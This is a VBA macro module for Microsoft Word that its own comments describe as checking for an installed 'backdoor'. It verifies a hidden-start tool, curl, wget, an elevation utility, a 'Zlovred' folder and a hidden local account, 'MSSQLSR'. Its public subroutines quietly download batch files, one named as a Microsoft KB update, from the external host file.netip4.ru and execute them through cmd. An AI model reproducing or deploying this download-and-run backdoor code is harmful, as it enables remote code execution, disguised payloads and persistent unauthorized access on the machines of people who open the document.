Attribute VB_Name = "CmdStartWord"
#If VBA7 Then
    Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
#Else
    Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
#End If

'**********************************************************
'* CmdStart VBA Nodule
'* This Module Contains Functions for Start,
'* Download and Run Windows Console Commands
'**********************************************************

' *********************************************************
' Function Check_Backdoor0001
' This Function will Checks if Windows NIT
' Backdoor is Installed at Current Computer.
'
' The Function Checks Next Programs:
' * Hidden Start
' * CURL
' * WGET
' * Ele
' * MSSQSR Login
' * ...
'
' PARAMETERS:   None
' RETURS:       True if all Backdoor's components are Installed
'               False otherwise
' *********************************************************
Private Function Check_Backdoor0001()
    
    ' Declare a Variables
    Dim fso, wsh, envProc As Object
    Dim pathCMD, pathUTIL, pathZlovred As String
    Dim bResult, bResult1 As Boolean
    Dim strHStartExe, strHStartExe64, strCurlExe, strWgetExe, strEleExe As String
    Dim strPrivUserName As String
    Dim strFilePathTemp As String
    Dim strErrorMessage01 As String

    ' Define Error Messages
    strErrorMessage01 = "Error! The Main Program Elements is not Installed" & vbNewLine & vbNewLine

    ' Define Path Variables
    bResult = True

    ' Define a Variables
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set wsh = CreateObject("WScript.Shell")
    Set envProc = wsh.Environment("PROCESS")

    ' Define a Temporary Result Variable
    pathCMD = envProc("SystemRoot") & "\System32"
    pathUTIL = "C:\Util"
    pathZlovred = "C:\pub1\Distrib\Zlovred"

    ' Define Full Path Files Name
    strHStartExe = "C:\Program Files\Hidden Start\hstart.exe"
    strHStartExe64 = "C:\Program Files\Hidden Start\hstart64.exe"
    strCurlExe = pathUTIL & "\CURL.exe"
    strWgetExe = pathUTIL & "\wget.exe"
    strEleExe = pathUTIL & "\ele.exe"
    
    strPrivUserName = "MSSQLSR"
    
    ' Run Payloads
    ' Check a Path
    strFilePathTemp = pathZlovred
    bResult1 = fso.FolderExists(strFilePathTemp)
    If Not bResult1 Then
        bResult = False
        strErrorMessage01 = strErrorMessage01 & "Folder: " & strFilePathTemp & " is not found!" & vbNewLine
    End If

    ' Check a Files
    strFilePathTemp = strHStartExe
    bResult1 = fso.FileExists(strFilePathTemp)
    If Not bResult1 Then
        bResult = False
        strErrorMessage01 = strErrorMessage01 & "File: " & strFilePathTemp & " is not found!" & vbNewLine
    End If

    strFilePathTemp = strHStartExe64
    bResult1 = fso.FileExists(strFilePathTemp)
    If Not bResult1 Then
        bResult = False
        strErrorMessage01 = strErrorMessage01 & "File: " & strFilePathTemp & " is not found!" & vbNewLine
    End If

    strFilePathTemp = strCurlExe
    bResult1 = fso.FileExists(strFilePathTemp)
    If Not bResult1 Then
        bResult = False
        strErrorMessage01 = strErrorMessage01 & "File: " & strFilePathTemp & " is not found!" & vbNewLine
    End If

    strFilePathTemp = strWgetExe
    bResult1 = fso.FileExists(strFilePathTemp)
    If Not bResult1 Then
        bResult = False
        strErrorMessage01 = strErrorMessage01 & "File: " & strFilePathTemp & " is not found!" & vbNewLine
    End If

    strFilePathTemp = strEleExe
    bResult1 = fso.FileExists(strFilePathTemp)
    If Not bResult1 Then
        bResult = False
        strErroorMessage01 = strErrorMessage01 & "File: " & strFilePathTemp & " is not found!" & vbNewLine
    End If
    
    bResult1 = Check_IfLocalNetworkUserName0001(strPrivUserName)
    If Not bResult1 Then
        bResult = False
        strErrorMessage01 = strErrorMessage01 & "Local User: " & strPrivUserName & " is not found!" & vbNewLine
    End If
    
    If Not bResult Then
        MsgBox strErrorMessage01, vbOKOnly Or vbCritical, "System Error"
    End If
    Check_Backdoor0001 = bResult

End Function

' *********************************************************
' Check_IfLocalNetworkUserName0001
' This Script Checks if a Local Network User Name
' is Present
' PARAMETERS: Name is Network Name as String
' RETURN:   True if Name is Present
'           False if Name is Absent
' *********************************************************
Private Function Check_IfLocalNetworkUserName0001(ByVal Name As String) As Boolean

    ' Declare Variables
    Dim strComputer As String
    Dim objWMIService, objColItems, objItem As Object
    Dim bResult As Boolean

    ' Define a Variables
    bResult = False

    On Error Resume Next
    
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate,(Security)}!\\" & strComputer & "\root\cimv2")
'    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")

    Set objColItems = objWMIService.ExecQuery _
        ("Select * from Win32_UserAccount Where LocalAccount = True")
        
    ' MsgBox "Start Check"
    
    For Each objItem In objColItems
        ' MsgBox "User: " & objItem.Name
        If StrComp(objItem.Name, Name, vbTextCompare) = 0 Then
            ' MsgBox "Account " & Name & " is Disabled " & objItem.Disabled & vbNewLine & "Status is " & objItem.Status
            If Not objItem.Disabled Then
                If StrComp(objItem.Status, "OK", vbTextCompare) = 0 Then
                    bResult = True
                Else
                    bResult = False
                End If
            Else
                bResult = False
            End If
        End If
    Next

    If Not bResult Then
        MsgBox "Warning!" & vbNewLine & "Local Network User: " & Name & " is not Found." & vbNewLine, vbOKOnly Or vbInformation, "System Warning"
    End If

    Check_IfLocalNetworkUserName0001 = bResult

End Function

' *********************************************************
' Test_LocalAccounts
' This Subroutine Simply Checks Local Network
' Accounts and Output a Warning if Account is absent
' *********************************************************
Private Sub Test_LocalAccounts()
    
    ' Declare Local Accounts
    Dim PrivUserName, DefUserName, Vagrant, Admin1, Admin2, Guest2 As String
    Dim bResult As Boolean

    ' Define Variables
    PrivUserName = "MSSQLSR"
    DefUserName = "user"
    Vagrant = "vagrant"
    Admin1 = "administrator"
    Admin2 = "администратор"
    Guest2 = "гость"
    
    ' Run Payloads
    bResult = Check_IfLocalNetworkUserName0001(PrivUserName)
    bResult = Check_IfLocalNetworkUserName0001(DefUserName)
    bResult = Check_IfLocalNetworkUserName0001(Vagrant)
    bResult = Check_IfLocalNetworkUserName0001(Admin1)
    bResult = Check_IfLocalNetworkUserName0001(Admin2)
    bResult = Check_IfLocalNetworkUserName0001(Guest2)
End Sub

' *********************************************************
' Test_BackDoor
' *********************************************************
Private Sub Test_Backdoor()

    ' Declare a Variable
    Dim bResult As Boolean
    
    ' Run Payloads
    bResult = Check_Backdoor0001()
    If bResult Then
        MsgBox "Success!!!"
    End If
End Sub

' *********************************************************
' DnRn_TestLog
' This Subroutine Download and Run the TestLog
' Command File
' *********************************************************
Public Sub DnRn_TestLog()

    ' Declare Variables
    Dim fso, wsh, envProc As Object
    Dim bResult As Boolean
    Dim httpPrefix, httpDomain, httpPort, strRemoteDir, strHost As String
    Dim pathCMD, pathUTIL, pathZlovred As String
    Dim strCurlExe, strComspec As String
    Dim strFile As String
    
    ' Define a Variable
    httpPrefix = "http"
    httpDomain = "file.netip4.ru"
    httpPort = "80"
    strRemoteDir = "/PROGS/LIB-RUN/BAT/"
    strHost = httpPrefix & "://" & httpDomain & ":" & httpPort & strRemoteDir
    
    strFile = "DnRn.trace-log.MSSQLSR.bat"
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set wsh = CreateObject("WScript.Shell")
    Set envProc = wsh.Environment("PROCESS")
    strComspec = envProc("COMSPEC")

    ' Define a Temporary Result Variable
    pathCMD = envProc("SystemRoot") & "\System32"
    pathUTIL = "C:\Util"
    pathZlovred = "C:\pub1\Distrib\Zlovred"
    
    strCurlExe = pathUTIL & "\" & "CURL.exe"
    
    Dim strURL, strLocalFile, strCmd1, strCmd2 As String
    Dim iRes As Integer
    
    strURL = strHost & strFile
    strLocalFile = pathZlovred & "\" & strFile
    
    strCmd1 = strComspec & " /c " & strCurlExe & " -o " & strLocalFile & " " & strURL
    strCmd2 = strComspec & " /k " & strLocalFile
    
    ' Run Payloads
    bResult = Check_Backdoor0001()
    If bResult Then
        On Error Resume Next
            iRes = wsh.Run(strCmd1, 0, True)
            If iRes <> 0 Then
                MsgBox "Cannnot Download: " & strURL
            Else
                iRes = wsh.Run(strCmd2, 1, True)
                If iRes <> 0 Then
                    MsgBox "Cannot Execute: " & strLocalFile
                Else
                    MsgBox "Success!!!"
                End If
            End If
    Else
        MsgBox "Error! Backdoor is not Installed."
    End If

End Sub

' *********************************************************
' DnRn_Msft_KB
' This Subroutine Download and Run the TestLog
' Command File
' *********************************************************
Public Sub DnRn_Msft_KB()

    ' Declare Variables
    Dim fso, wsh, envProc As Object
    Dim bResult As Boolean
    Dim httpPrefix, httpDomain, httpPort, strRemoteDir, strHost As String
    Dim pathCMD, pathUTIL, pathZlovred As String
    Dim strCurlExe, strComspec As String
    Dim strFile As String
    
    ' Define a Variable
    httpPrefix = "http"
    httpDomain = "file.netip4.ru"
    httpPort = "80"
    strRemoteDir = "/PROGS/LIB-RUN/BAT/"
    strHost = httpPrefix & "://" & httpDomain & ":" & httpPort & strRemoteDir
    
    strFile = "msft-KB4012598.script.download.MSSQLSR.bat"
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set wsh = CreateObject("WScript.Shell")
    Set envProc = wsh.Environment("PROCESS")
    strComspec = envProc("COMSPEC")

    ' Define a Temporary Result Variable
    pathCMD = envProc("SystemRoot") & "\System32"
    pathUTIL = "C:\Util"
    pathZlovred = "C:\pub1\Distrib\Zlovred"
    
    strCurlExe = pathUTIL & "\" & "CURL.exe"
    
    Dim strURL, strLocalFile, strCmd1, strCmd2 As String
    Dim iRes As Integer
    
    strURL = strHost & strFile
    strLocalFile = pathZlovred & "\" & strFile
    
    strCmd1 = strComspec & " /c " & strCurlExe & " -o " & strLocalFile & " " & strURL
    strCmd2 = strComspec & " /c " & strLocalFile
    
    ' Run Payloads
    bResult = Check_Backdoor0001()
    If bResult Then
        On Error Resume Next
            iRes = wsh.Run(strCmd1, 0, True)
            If iRes <> 0 Then
                MsgBox "Cannnot Download: " & strURL
            Else
                iRes = wsh.Run(strCmd2, 0, True)
                If iRes <> 0 Then
                    MsgBox "Cannot Execute: " & strLocalFile
                Else
                    MsgBox "Success!!!"
                End If
            End If
    Else
        MsgBox "Error! Necessary Programs is not Installed." & vbNewLine & "Please Contact with New Internet Technologies and Authors."
    End If

End Sub